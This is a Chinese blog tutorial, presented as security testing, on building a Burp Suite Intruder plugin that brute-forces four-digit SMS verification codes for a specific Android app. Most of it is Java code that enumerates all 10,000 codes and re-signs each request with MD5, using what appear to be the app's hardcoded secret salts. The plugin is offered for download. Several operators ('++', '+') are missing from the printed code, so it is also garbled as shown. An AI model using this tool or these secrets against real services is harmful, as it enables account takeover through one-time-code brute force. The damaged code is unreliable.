apk短信验证码安全测试二

2022-05-19 14:45:38 浏览数 (1)

上一篇得到发送验证码请求的sign签名算法后,这篇主要介绍4位纯数字验证码burp插件的编写。介绍验证码插件之前,我们先介绍一下验证码插件会用到的三个burp接口IIntruderPayloadGeneratorFactoryIIntruderPayloadGeneratorIIntruderPayloadProcessor,再介绍验证码插件编写及使用。

一、burp接口介绍

  1. IIntruderPayloadGeneratorFactory 在插件中implements此接口,并且在registerExtenderCallbacks方法中注册它后,即实现了一个IntruderPayloadGenerator工厂。我们可以重写该接口的createNewInstance的方法来调用我们自定义的Payload生成器(比如本篇文章的4位纯数字验证码生成器),如下所示
  1. IIntruderPayloadGenerator 此接口用于实现我们自定义的生成器,implements该接口后,可以使用该接口提供的3个方法,返回我们生成的payload,如下所示
  1. IIntruderPayloadProcessor 在插件中implements此接口,并且在registerExtenderCallbacks方法中注册它后,即我们实现了一个payload处理器。我们可以重写该接口中的processPayload方法,来实现对payload的处理,再返回处理后的结果(比如本篇文章将payload中的验证码替换为新的验证码,再重新计算sign后替换之前的sign),如下所示

processPayload方法包含三个byte[]类型的参数currentPayload、originalPayload、baseValue。 currentPayload 即我们传进来的生成的payload,本篇文章即我们在payload生成器中生成的4位纯数字验证码。 originalPayload表示在应用了任何Processor处理器之前的最原始的payload值 测试发现与currentPayload是一样的 baseValue 我们在burp Positions中选定的值,如下面所示

二、验证码插件实现与使用

4位纯数字验证码payload生成

代码语言:javascript复制

//自定义payload生成器
class IntruderPayloadGenerator implements IIntruderPayloadGenerator{

    private int payloadIndex = 0; //用于payloads验证码计数
    private String[] payloads = null;//存放生成验证码字符串的String数组
    
    public IntruderPayloadGenerator() {
      // TODO Auto-generated constructor stub
      //在构造函数中调用generateVerifyCodeArray()
      //函数生成4位纯数字验证码String数组
      //将结果复制给payloads成员变量
      this.payloads = generateVerifyCodeArray();
    }
    
    //生成4位纯数字验证码方法
    private String[] generateVerifyCodeArray() {
      String[] verifyCodeStrings = new String[10000];
      try {
        for(int i = 0; i < 10000; i  ) {
          if(i < 10) {
            verifyCodeStrings[i] = String.format("000%d", i);
          }
          else if(i >= 10 && i < 100) {
            verifyCodeStrings[i] = String.format("00%d", i);
          }
          else if(i >= 100 && i < 1000) {
            verifyCodeStrings[i] = String.format("0%d", i);
          }
          else {
            verifyCodeStrings[i] = String.valueOf(i);
          }
        }
      }catch(Exception e) {
        e.printStackTrace();
      }
      return verifyCodeStrings;
    }
    
    //在getNextPayload方法里面依次返回生成的4位纯数字验证码
    @Override
    public byte[] getNextPayload(byte[] baseValue) {
      // TODO Auto-generated method stub
      byte[] payload = null;
      try {
        payload = this.payloads[payloadIndex].getBytes("UTF-8");
        payloadIndex  ;
      }catch(Exception e) {
        e.printStackTrace();
      }
      return payload;
    }

    //在hasMorePayloads方法中设置当计数器计数小于我们的payloads数组
    //长度时 则一直为true 表示还有payload可以返回
    @Override
    public boolean hasMorePayloads() {
      // TODO Auto-generated method stub
      return payloadIndex < this.payloads.length;
    }

    //在reset方法中设置当重置时 则计数归0
    @Override
    public void reset() {
      // TODO Auto-generated method stub
      payloadIndex = 0;
    }
 }

根据新的验证码参数及burp中的请求数据生成相对应的sign签名并返回新的请求数据

代码语言:javascript复制

//在Utils类中定义我们计算sign及构造新的请求包体(body)的方法
public class Utils {
  //public static方法及提供给其他类调用的方法getNewRequestData
  //参数有两个verifyCode、requestData
  //verifyCode即每次传进来的新生成的4位纯数字验证码
  //requestData即前一次的旧的请求包体(body)
  //需要上面两个参数 是因为我们需要提取requestData中的
  //其他字段构造list再加上新生成的verifyCode来计算sign签名校验值
  public static String getNewRequestData(String verifyCode,String requestData) {
    String result = "";
    try {
      JSONObject jsonObject = new JSONObject(requestData);
      List<String> requestList = new ArrayList();
      requestList.add("appId="   jsonObject.getString("appId"));
      requestList.add("osType="   jsonObject.getString("osType"));
      requestList.add("product="   jsonObject.getString("product"));
      requestList.add("sysVer="   jsonObject.getString("sysVer"));
      requestList.add("time="   jsonObject.getString("time"));
      requestList.add("token="   jsonObject.getString("token"));
      requestList.add("udid="   jsonObject.getString("udid"));
      requestList.add("ver="   jsonObject.getString("ver"));
      requestList.add("phoneModel="   jsonObject.getString("phoneModel"));
      requestList.add("marketChannel="   jsonObject.getString("marketChannel"));
      requestList.add("packageName="   jsonObject.getString("packageName"));
      requestList.add("lang-app="   jsonObject.getString("lang-app"));
      requestList.add("lang="   jsonObject.getString("lang"));
      requestList.add("locale="   jsonObject.getString("locale"));
      requestList.add("appsflyer-id="   jsonObject.getString("appsflyer-id"));
      requestList.add("idfa="   jsonObject.getString("idfa"));
      requestList.add("shumei_device_id="   jsonObject.getString("shumei_device_id"));
      requestList.add("mobile="   jsonObject.getString("mobile"));
      requestList.add("code="   verifyCode);
      //上面构造请求参数list
      //构造完以后调用我们之前分析的getSortedParams函数
      //将list转成String
      result = getSortedParams(requestList);
      System.out.println("request result is: "   result);
      
      //将新生成的验证码添加到新的请求包体(body)中
      jsonObject.put("code", verifyCode);
      //调用getMD5方法计算sign值
      //参数为上面list转成String的值
      //计算完以后添加到新的包体中
      jsonObject.put("sign", getMD5(result));
      result = jsonObject.toString();
    }catch(Exception e) {
      e.printStackTrace();
    }
    //最后返回新的请求包体(body)
    return result;
  }
  
  //getSortedParams list转成String的方法
  private static String getSortedParams(List<String> list) {
    String result = "";
    try {
      StringBuilder stringBuilder = new StringBuilder();
      stringBuilder.append("Fb0gqLMSf5Android");
      Collections.sort(list);
      int i = 0;
      while(i < list.size()) {
        if(i == 0) {
          stringBuilder.append(list.get(i));
        } else {
          if(list.get(i).contains("lang-app=")) {
            int i2 = i   1;
            if(list.get(i2) != null && list.get(i2).contains("lang=")) {
              stringBuilder.append("&");
              stringBuilder.append(list.get(i2));
              stringBuilder.append("&");
              stringBuilder.append(list.get(i));
              i = i2;
            }
          }
          else {
            stringBuilder.append("&");
            stringBuilder.append(list.get(i));
          }

        }
        i  ;
      }
      stringBuilder.append("AEdDtho2CjiH901aVK7swFqclu6NmzJ4");
      result = stringBuilder.toString();
    }catch(Exception e) {
      e.printStackTrace();
    }
    return result;
  }
  
  //计算MD5的方法
  private static String getMD5(String plainText) {
    char hexDigits[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
    String result = "";
    try {
      byte[] plainBytes = plainText.getBytes("UTF-8");
      MessageDigest messageDigest = MessageDigest.getInstance("md5");
      messageDigest.update(plainBytes);
      byte[] encryptBytes = messageDigest.digest();
      int encryptBytesLen = encryptBytes.length;
      char[] resultBytes = new char[encryptBytesLen * 2];
      int k = 0;
      for(int i = 0; i < encryptBytesLen; i  ) {
        byte tempBytes = encryptBytes[i];
        resultBytes[k  ] = hexDigits[tempBytes >>> 4 & 0xf];
        resultBytes[k  ] = hexDigits[tempBytes & 0xf];
      }
      result = (new String(resultBytes)).toUpperCase();
    }catch (Exception e) {
      // TODO: handle exception
      e.printStackTrace();
    }
    return result;
  }
  
  public static void main(String[] args) {
    String plainText = "";
    String result = getMD5(plainText);
    System.out.println(result);
  }
}

在payload处理器processPayload方法中调用Utils类中的getNewRequestData方法

代码语言:javascript复制

//processPayload方法是我们上面介绍的处理传进来的自定义生成器
 //生成的payload、以及我们在burp中选定的数据最后将处理结果
 //返回到burp中作为新的请求数据(body)
 //在这里currentPayload就是我们的生成的4位纯数字验证码
 //baseValue就是我们选定的整个请求包体(body)的数据
 //传进来以后我们调用Utils.getNewRequestData计算
 //新的请求包体(body)返回值返回给newRequestData
 //最后将newRequestData转成byte[]返回
  public byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue) {
    byte[] result = null;
    // TODO Auto-generated method stub
    try {
     //打印测试数据
      String logString = String.format("currentPayload is : %s and "
            "originalPayload is: %s and baseValue is: %s", new String(currentPayload),
          new String(originalPayload),new String(baseValue));
      stdout.println(logString);
      //调用getNewRequestData方法
      String newRequestData = Utils.getNewRequestData(new String(currentPayload),new String(baseValue));
      result = helpers.stringToBytes(newRequestData);
    }catch(Exception e) {
      e.printStackTrace();
    }
    return result;
  }

intruder中设置插件

首先在Extender中将插件加载进来,如下所示

在Intruder中设置

测试插件功能

综上所述,该篇文章主要介绍了burp intruder模块插件编写。安全测试时在处理请求中带有sign请求校验的,可以尝试使用插件。如果需要本篇文章中测试的burp插件代码,可以在公众号回复"VerifyCode BurpExnteder",通过百度云链接下载。

0 人点赞